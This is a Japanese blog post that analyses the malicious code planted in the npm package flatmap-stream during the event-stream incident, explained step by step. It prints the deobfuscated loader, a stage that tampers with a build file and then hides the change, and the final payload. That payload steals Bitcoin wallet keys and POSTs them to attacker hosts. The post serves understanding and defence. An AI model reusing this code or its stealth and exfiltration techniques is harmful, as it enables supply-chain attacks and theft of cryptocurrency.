未来のハッカー（自称）がevent-stream騒動の攻撃コードを説明する

まずお詫び。タイトルに「未来のハッカー（自称）」と書きましたが、そんなわけないです。全国のハッカーの皆様、本当に申し訳ございませんm(_ _)m

人気のnpmパッケージである「event-stream」が依存している「flatmap-stream」というパッケージにBitcoinを盗むコードが入れられた事件で、具体的に入れられた攻撃コードを解析してみました。
このページの内容が間違っていたら教えていただけると幸いです。

また、この事件に関する概要などは https://qiita.com/mysticatea/items/aac027f9183ea9f0f9b1 に詳しく書いてありました。この事件に関して知らない場合はあらかじめ読んでおくことをおすすめします。

## flatmap-streamの`index.min.js`の攻撃コードの部分(整形済み)
```javascript:index.min.js
!function () {
  try {
    var r = require;
    var t = process;

    function e(r) {
      return Buffer.from(r, 'hex').toString();
    }

    var n = r(e('2e2f746573742f64617461'));
    var o = t[e(n[3])][e(n[4])];

    if (!o) return;

    var u = r(e(n[2]))[e(n[6])](e(n[5]), o);
    var a = u.update(n[0], e(n[8]), e(n[9]));
    a += u.final(e(n[9]));

    var f = new module.constructor;
    f.paths = module.paths;
    f[e(n[7])](a, '');
    f.exports(n[1]);
  } catch (r) {
  }
}();
```
このコードの意味を順番に説明します。

---

```javascript
var r = require,
    t = process;
```
この部分はminifyでこうなったのだと思います。
これからはわかりやすいように`r`を`require`、`t`を`process`と書きます。

---

```javascript
function e(r) {
  return Buffer.from(r, 'hex').toString();
}
```
`e()`という関数を定義しています。16進数表記された文字列を普通の文字列に戻す処理を行っています。

---

```javascript
var n = require(e('2e2f746573742f64617461'));
```
`e('2e2f746573742f64617461')`の結果は`./test/data`なので、このコードでは`n`という変数に`test/data.js`の内容を読み込みます。

`test/data.js`は配列になっているので(長いので中身は省略)、`n`は配列になります。

---

```javascript
var o = process[e(n[3])][e(n[4])];
```
`e(n[3])`の結果は`env`、`e(n[4])`の結果は`npm_package_description`なので、このコードは

```javascript
var o = process['env']['npm_package_description'];
```
という意味になります。

ここで `process`は配列じゃないと思った方もいらっしゃると思いますが、JavaScriptでは `foo.bar` と `foo['bar']` は同じ意味なので、このコードは

```javascript
var o = process.env.npm_package_description; // 環境変数 "npm_package_description"の中身
```
となります。

ここでまた よくわからない`npm_package_description` という環境変数が出てきましたが、これは npm-scriptsを実行するときに nodeが自動的に`package.json`の`description`の内容を格納します。
今回の攻撃は、`description`が`A Secure Bitcoin Wallet`である場合のみ正常に動くようです。(だから余計気づかれにくかった?)

---

```javascript
if (!o) return;
```
変数`o`の内容(環境変数 `npm_package_description`)が設定されていない場合は終了するようにしています。

---

```javascript
var u = require(e(n[2]))[e(n[6])](e(n[5]), o);
```
`e(n[2])`の結果は`crypto`、
`e(n[6])`の結果は`createDecipher`、
`e(n[5])`の結果は`aes256`なので、

```javascript
var u = require('crypto').createDecipher('aes256', o);
```
となります。

このコードの意味は、「AES256で暗号化されていて、パスワードが`o`(=環境変数 `npm_package_description`の内容)のデータを復号化するオブジェクトを生成して 変数`u`に入れる」です。
今回はデータの正しいパスワードが`A Secure Bitcoin Wallet`なので、`description`が`A Secure Bitcoin Wallet`であるパッケージでしか動作しません。

---
```javascript
var a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
```
`e(n[8])` は `hex`
`e(n[9])` は `utf8`なので、
「`hex`(16進数文字列のこと)で書かれた`n[0]`を復号化して変数`a`に入れる」という処理を行っています。

わかりやすく書き直すと

```javascript
var a = u.update(n[0], 'hex', 'utf8') + u.final('utf8');
```
になります。
この結果は

```javascript:a
/*@@*/module.exports=function(e){try{if(!/build\:.*\-release/.test(process.argv[2]))return;var t=process.env.npm_package_description,r=require("fs"),i="./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",n=r.statSync(i),c=r.readFileSync(i,"utf8"),o=require("crypto").createDecipher("aes256",t),s=o.update(e,"hex","utf8");s="\n"+(s+=o.final("utf8"));var a=c.indexOf("\n/*@@*/");0<=a&&(c=c.substr(0,a)),r.writeFileSync(i,c+s,"utf8"),r.utimesSync(i,n.atime,n.mtime),process.on("exit",function(){try{r.writeFileSync(i,c,"utf8"),r.utimesSync(i,n.atime,n.mtime)}catch(e){}})}catch(e){}};
```
になります。

---
```javascript
var f = new module.constructor;
f.paths = module.paths;
f[e(n[7])](a, '');
f.exports(n[1]);
```
`e(n[7])`は`_compile`なので、

```javascript
var f = new module.constructor;
f.paths = module.paths;
f._compile(a, '');
f.exports(n[1]);
```

となります。
このコードの処理内容は、「変数`a`がエクスポートしている関数を、`n[1]`を引数にして呼び出す」です。
それでは変数`a`の処理内容を見ていきましょう。

## 変数`a`の処理内容
`a`の内容ですが、そのままだと読みにくいので、少し読みやすく整形しました。
コメントを入れてあるので、大体の処理の流れをつかめるかと思います。
(ここに関してはもっとわかりやすく書きなおす予定)

```javascript
/*@@*/
module.exports = function (e) {
  // e は 暗号化したスクリプト
  try {
    // コマンドライン引数が「build」関係でなければ終了する（ビルドするときだけ発動する）
    if (!/build\:.*\-release/.test(process.argv[2])) return;

    var fs = require('fs');
    var i = './node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js';
    var n = fs.statSync(i);
    var c = fs.readFileSync(i, 'utf8');

    // 暗号化したスクリプトを復号する(復号結果は↓に書きます)
    var o = require('crypto').createDecipher('aes256', 'A Secure Bitcoin Wallet');
    var s = o.update(e, 'hex', 'utf8');
    s = '\n' + s + o.final('utf8');

    var a = c.indexOf('\n/*@@*/');
    0 <= a && (c = c.substr(0, a));

    // 他の処理で使うファイルを改ざんする(暗号化してあったスクリプトを混入させる)
    fs.writeFileSync(i, c + s, 'utf8');
    fs.utimesSync(i, n.atime, n.mtime);

    // プロセスの終了時に
    process.on('exit', function () {
      try {
        // 改ざんしたファイルを改ざんする前の状態に戻す(更新日時も変更しない)
        fs.writeFileSync(i, c, 'utf8');
        fs.utimesSync(i, n.atime, n.mtime);
      } catch (e) {
      }
    });
  } catch (e) {
  }
};
```

## 暗号化してあったスクリプト
```javascript
/*@@*/
!function () {
  function e() {
    try {
      var http = require('http');
      var crypto = require('crypto');
      var publicKey = '-----BEGIN PUBLIC KEY-----\n' +
              'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\n' +
              'DXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\n' +
              'BOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n' +
              '2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\n' +
              'PDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\n' +
              'LlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n' +
              '2wIDAQAB\n' +
              '-----END PUBLIC KEY-----';

      /**
       * 指定したホストの8080番ポートにHTTPのPOSTでファイルを送信する
       * @param e 16進数で表記したホスト名
       * @param t POSTするパス
       * @param n 送信するファイル
       */
      function uploadFile(e, t, n) {
        e = Buffer.from(e, 'hex').toString();
        var r = http.request({
          hostname: e,
          port: 8080,
          method: 'POST',
          path: '/' + t,
          headers: {'Content-Length': n.length, 'Content-Type': 'text/html'}
        }, function () {
        });
        r.on('error', function (e) {
        }), r.write(n), r.end();
      }

      function r(e, t) {
        for (var n = '', r = 0; r < t.length; r += 200) {
          var o = t.substr(r, 200);
          // 公開鍵暗号を使ってファイルを暗号化している
          n += crypto.publicEncrypt(publicKey, Buffer.from(o, 'utf8')).toString('hex') + '+';
        }

        // copayapi.hostに送信する
        uploadFile('636f7061796170692e686f7374', e, n);

        // 111.90.151.134に送信する
        uploadFile('3131312e39302e3135312e313334', e, n);
      }

      function l(t, n) {
        if (window.cordova) try {
          var e = cordova.file.dataDirectory;
          resolveLocalFileSystemURL(e, function (e) {
            e.getFile(t, {create: !1}, function (e) {
              e.file(function (e) {
                var t = new FileReader;
                t.onloadend = function () {
                  return n(JSON.parse(t.result));
                }, t.onerror = function (e) {
                  t.abort();
                }, t.readAsText(e);
              });
            });
          });
        } catch (e) {
        } else {
          try {
            var r = localStorage.getItem(t);
            if (r) return n(JSON.parse(r));
          } catch (e) {
          }
          try {
            chrome.storage.local.get(t, function (e) {
              if (e) return n(JSON.parse(e[t]));
            });
          } catch (e) {
          }
        }
      }

      global.CSSMap = {}, l('profile', function (e) {
        for (var t in e.credentials) {
          var n = e.credentials[t];
          'livenet' == n.network && l('balanceCache-' + n.walletId, function (e) {
            var t = this;
            t.balance = parseFloat(e.balance.split(' ')[0]), 'btc' == t.coin && t.balance < 100 || 'bch' == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r('c', JSON.stringify(t)));
          }.bind(n));
        }
      });
      var e = require('bitcore-wallet-client/lib/credentials.js');
      e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function (e) {
        var t = this.getKeysFunc(e);
        try {
          global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r('p', e + '\\t' + this.xPubKey));
        } catch (e) {
        }
        return t;
      };
    } catch (e) {
    }
  }

  window.cordova ? document.addEventListener('deviceready', e) : e();
}();
```